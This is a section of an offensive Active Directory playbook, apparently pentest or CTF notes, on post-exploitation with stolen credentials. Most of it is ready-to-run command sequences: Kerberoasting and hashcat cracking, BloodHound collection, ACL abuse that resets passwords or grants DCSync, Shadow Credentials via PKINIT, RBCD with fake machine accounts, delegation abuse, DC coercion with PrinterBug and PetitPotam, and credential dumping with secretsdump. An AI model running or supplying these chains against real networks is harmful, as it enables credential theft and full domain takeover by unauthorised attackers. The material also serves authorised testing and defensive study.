04 · Post-Exploitation With Creds¶
You have credentials. Now map the domain, harvest more credentials, and find escalation paths.
Phase overview
The first thing you do with any new credentials is run BloodHound it builds a graph of every privilege relationship in the domain and tells you the shortest path to Domain Admin. Then you Kerberoast (free service-account hashes), check ACLs, and look for delegation misconfigurations. Each technique below feeds the next: a Kerberoast-cracked service account often has GenericWrite somewhere, which becomes Shadow Credentials or RBCD.
4.1 · Kerberoasting¶
Why this works / how it chains
Any authenticated domain user can request a TGS for any service. The TGS is encrypted with the service account's password hash. Service accounts often have weak/old passwords because they're a pain to rotate, so you crack the hash offline. RC4 (-m 13100) is the default; modern environments may force AES (-m 19700). Hash mode 13100 = TGS-REP RC4.
What leads here
- Any valid domain credentials
- At least one service account has an SPN registered (essentially every AD environment)
- Signs: BloodHound '
Kerberoastable Users' query
impacket-GetUserSPNs domain.local/user:pass \
-dc-ip <IP> -request -outputfile kerb.txt
# With Kerberos auth
KRB5CCNAME=user.ccache faketime -f "+7h" \
impacket-GetUserSPNs domain.local/user \
-k -no-pass -dc-ip <IP> -request
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/d3ad0ne.rule
4.2 · BloodHound (Run with ANY creds)¶
Why this works / how it chains
BloodHound ingests AD relationships and runs graph queries to find escalation paths. Run it the moment you have ANY valid creds; even low-priv. Mark your owned principals, then run 'Shortest Paths to Domain Admins'. Every edge in the graph (GenericAll, WriteDACL, ReadGMSAPassword, etc.) maps to a specific attack covered in this playbook.
# With password
bloodhound-python -u user -p pass \
-d domain.local -ns <IP> -c all --zip
# With Kerberos + clock skew
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodhound-python -u user \
-k -no-pass \
-d domain.local \
-ns <IP> \
-dc dc01.domain.local \
--zip -c All
sudo neo4j start && bloodhound
# Upload zip → Mark owned → Run queries
Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Computers where Domain Users are Local Admin
Kerberoastable High Value Targets
Shortest Path from Owned Principals
Find AS-REP Roastable Users
Find Computers with Unconstrained Delegation
Find Computers with Constrained Delegation
GenericAll on user → Password reset / Shadow Credentials / Targeted Kerberoast
GenericWrite on user → Shadow Credentials / Targeted Kerberoast / SPN set
GenericWrite on computer → RBCD Attack
WriteDacl on domain → Grant yourself DCSync
WriteDacl on template → ESC4 → modify template → ESC1
ForceChangePassword → Reset password directly
AddMember → Add to privileged group
Unconstrained Delegation → Coerce DC auth → TGT theft
Constrained Delegation → S4U2Proxy impersonation
AllExtendedRights → Password reset / Kerberoast
ReadGMSAPassword → Read gMSA password → derive keys
Owner of object → Implicit WriteDACL → grant yourself GenericAll
4.3 · ACL Abuse¶
Why this works / how it chains
Once BloodHound shows an ACL edge, abuse it. PowerView is the canonical Windows tool; bloodyAD is the Linux equivalent and crucially supports Kerberos, which matters in PKINIT-only environments. The pattern is always the same: the ACL gives you write access, you use that write to either change a password, add yourself to a group, set an SPN (then Kerberoast), or grant yourself DCSync.
# Some examples:
Import-Module .\PowerView.ps1
# GenericAll on USER → reset password
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $pass
# GenericAll on GROUP → add member
Add-DomainGroupMember -Identity 'IT Admins' -Members 'youruser'
# GenericWrite on USER → targeted Kerberoast
Set-DomainObject -Identity targetuser \
-Set @{serviceprincipalname='notreal/fake'}
impacket-GetUserSPNs domain.local/youruser:pass -dc-ip <IP> -request
# WriteDacl → give yourself DCSync
Add-DomainObjectAcl \
-TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity youruser \
-Rights DCSync
# WriteOwner → take ownership → full control
Set-DomainObjectOwner -Identity targetobj -OwnerIdentity youruser
Add-DomainObjectAcl -TargetIdentity targetobj \
-PrincipalIdentity youruser -Rights All
# Grant GenericAll
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodyAD -u user -k -d domain.local --host dc01.domain.local \
add genericAll 'targetObject' 'yourSID'
# Add group member
bloodyAD add groupMember 'GroupName' 'userToAdd'
# Set object attribute
bloodyAD set object 'CN=obj,DC=...' attributeName -v value
# Add RBCD
bloodyAD add rbcd 'targetComputer' 'delegatingAccount'
4.4 · Shadow Credentials¶
Why this works / how it chains
You don't need to KNOW the target's password; you just need to be able to WRITE to its msDS-KeyCredentialLink attribute. Add a fake key (a public key you control). Then authenticate to Kerberos via PKINIT using your private key; the KDC issues you a TGT for the target. Cleaner than RBCD because it works on users and gMSAs, not just computers, and leaves less of a trace than a password reset.
What leads here
- GenericWrite or GenericAll on a user/computer/gMSA (BloodHound)
- PKINIT supported (AD CS present, or DC supports Key Trust)
- Works on users, computers, AND gMSA accounts : broader than RBCD
# Add shadow credential
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodyAD -u user -k \
-d domain.local \
--host dc01.domain.local \
add shadowCredentials 'targetuser'
# Saves: XXXX_cert.pem and XXXX_priv.pem
# Get TGT with certificate (PKINIT)
faketime -f "+7h" \
python3 /opt/PKINITtools/gettgtpkinit.py \
-cert-pem XXXX_cert.pem \
-key-pem XXXX_priv.pem \
domain.local/targetuser \
target.ccache \
-dc-ip <IP>
# NOTE: Save the AS-REP encryption key from output!
# Get NT hash from TGT
KRB5CCNAME=target.ccache faketime -f "+7h" \
python3 /opt/PKINITtools/getnthash.py \
domain.local/targetuser \
-key <AS_REP_ENCRYPTION_KEY> \
-dc-ip <IP>
# Use NT hash
evil-winrm -i dc01.domain.local -u targetuser -H <NT_HASH>
Thought process
BloodHound shows GenericWrite on gMSA → Shadow Credentials → PKINIT → NT hash → WinRM/PTH. Cleaner than RBCD for user/gMSA targets.
4.5 · RBCD (Resource-Based Constrained Delegation)¶
Why this works / how it chains
RBCD lets a computer say 'these other principals can impersonate users TO me'. If you can write that attribute on a target computer, you point it at a controlled principal (typically a fake computer you create via the MAQ default of 10), then use S4U2Self+S4U2Proxy to mint a service ticket as Administrator to that target. Result: SYSTEM on the target machine.
What leads here
- GenericWrite on a computer object (BloodHound edge)
- WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity
- Machine Account Quota > 0 (default is 10; any user can create up to 10 computers)
# Check MAQ
nxc ldap <IP> -u user -p pass -M maq
# Add fake computer
impacket-addcomputer domain.local/user:pass \
-computer-name FAKE$ \
-computer-pass 'Fake123!' \
-dc-ip <IP>
# OR use existing computer/gMSA as delegating principal
# Configure RBCD
impacket-rbcd -f FAKE -t TARGET$ \
-dc-ip <IP> domain.local/user:pass
# bloodyAD version
bloodyAD add rbcd 'TARGET$' 'FAKE$'
# Get impersonation ticket (S4U2Self + S4U2Proxy)
impacket-getST \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip <IP> \
domain.local/FAKE$:'Fake123!'
# With AES key (Kerberos-only environment)
faketime '-7 seconds' proxychains4 -q impacket-getST \
-spn 'mssqlsvc/dc2.domain.local' \
-impersonate 'targetuser' \
-aesKey <AES256_KEY> \
-dc-ip <DC_IP> \
'domain.local/gMSA$'
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local
4.6 · Constrained Delegation Abuse¶
Why this works / how it chains
Inverse of RBCD: instead of the target saying who can impersonate to it, an account is configured to be allowed to impersonate ANYONE to a specific service. If you compromise that account, S4U2Proxy lets you request a service ticket as Administrator (or any user) for the allowed service. Protocol Transition removes the requirement that you have a forwarded TGT first; you can use any auth.
What leads here
- BloodHound shows 'Allowed to Delegate' edge from a compromised principal
- TrustedToAuthForDelegation flag (Protocol Transition) lets you skip the 'forwarded TGT' requirement
impacket-findDelegation domain.local/user:pass -dc-ip <IP>
impacket-getST \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip <IP> \
domain.local/delegationuser:pass
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
4.7 · Unconstrained Delegation + Coercion¶
Why this works / how it chains
Unconstrained delegation = when a user authenticates to that machine, their TGT is forwarded and stored in LSASS. If you compromise the machine and coerce a DC's machine account to authenticate to it, you capture the DC's TGT, which you can then use to DCSync. Rubeus monitor watches LSASS for new TGTs in real time.
What leads here
- Non-DC computer with TrustedForDelegation flag set
- Can coerce DC authentication (PrinterBug, PetitPotam from Phase 22)
impacket-findDelegation domain.local/user:pass -dc-ip <IP>
# On compromised unconstrained machine
.\Rubeus.exe monitor /interval:5 /nowrap
# Coerce DC auth from attacker
printerbug.py domain.local/user:pass@<DC_IP> <UNCONSTRAINED_IP>
PetitPotam.py -u user -p pass -d domain.local <UNCONSTRAINED_IP> <DC_IP>
# DC TGT captured → use it
.\Rubeus.exe ptt /ticket:<base64>
impacket-secretsdump -k -no-pass domain.local/dc$@dc.domain.local